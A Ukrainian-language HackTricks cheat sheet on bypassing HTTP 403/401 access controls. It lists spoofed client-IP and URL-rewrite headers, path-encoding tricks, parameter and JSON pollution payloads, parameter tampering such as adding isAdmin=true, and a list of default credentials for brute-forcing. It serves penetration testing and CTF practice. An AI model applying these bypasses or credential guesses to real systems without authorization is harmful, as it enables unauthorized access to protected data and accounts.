403 & 401 Bypasses

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

HTTP Verbs/Methods Fuzzing

Спробуйте використовувати різні дієслова для доступу до файлу: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Перевірте заголовки відповіді, можливо, можна отримати якусь інформацію. Наприклад, 200 відповідь на HEAD з Content-Length: 55 означає, що дієслово HEAD може отримати інформацію. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
  • Використання HTTP заголовка, такого як X-HTTP-Method-Override: PUT, може переписати використане дієслово.
  • Використовуйте TRACE дієслово, і якщо вам пощастить, можливо, у відповіді ви також зможете побачити заголовки, додані проміжними проксі, які можуть бути корисними.

HTTP Headers Fuzzing

  • Змініть заголовок Host на деяке довільне значення (це спрацювало тут)

  • Спробуйте використати інші User Agents для доступу до ресурсу.

  • Fuzz HTTP Headers: спробуйте використовувати HTTP Proxy Headers, HTTP Authentication Basic та NTLM brute-force (тільки з кількома комбінаціями) та інші техніки. Для цього я створив інструмент fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Якщо шлях захищений, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Якщо сторінка за проксі, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати HTTP Request Smuggling або hop-by-hop headers.

  • Fuzz спеціальні HTTP заголовки, шукаючи різні відповіді.

  • Fuzz спеціальні HTTP заголовки під час fuzzing HTTP Methods.

  • Видаліть заголовок Host, і, можливо, ви зможете обійти захист.

Path Fuzzing

Якщо /path заблоковано:

  • Спробуйте використовувати /%2e/path _(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також_** /%252e**/path (подвійне кодування URL)
  • Спробуйте Unicode bypass: /%ef%bc%8fpath (кодування URL символів схоже на "/"), тому, коли його знову закодують, це буде //path, і, можливо, ви вже обійшли перевірку назви /path
  • Інші обходи шляху:
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Використовуйте весь цей список у наступних ситуаціях:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Інші API обходи:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Змініть значення параметра: З id=123 --> id=124
  • Додайте додаткові параметри до URL: ?id=124 —-> id=124&isAdmin=true
  • Видаліть параметри
  • Переставте параметри
  • Використовуйте спеціальні символи.
  • Виконайте тестування меж у параметрах — надайте значення, такі як -234 або 0 або 99999999 (просто кілька прикладів значень).

Protocol version

Якщо ви використовуєте HTTP/1.1 спробуйте використовувати 1.0 або навіть перевірте, чи підтримує 2.0.

Інші обходи

  • Отримайте IP або CNAME домену та спробуйте зв'язатися з ним безпосередньо.
  • Спробуйте навантажити сервер, надсилаючи звичайні GET запити (Це спрацювало для цього хлопця з Facebook).
  • Змініть протокол: з http на https, або з https на http
  • Перейдіть на https://archive.org/web/ і перевірте, чи був у минулому цей файл всесвітньо доступний.

Brute Force

  • Вгадайте пароль: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
  • Brute force: спробуйте базову, дайджестну та NTLM автентифікацію.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Автоматичні інструменти

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks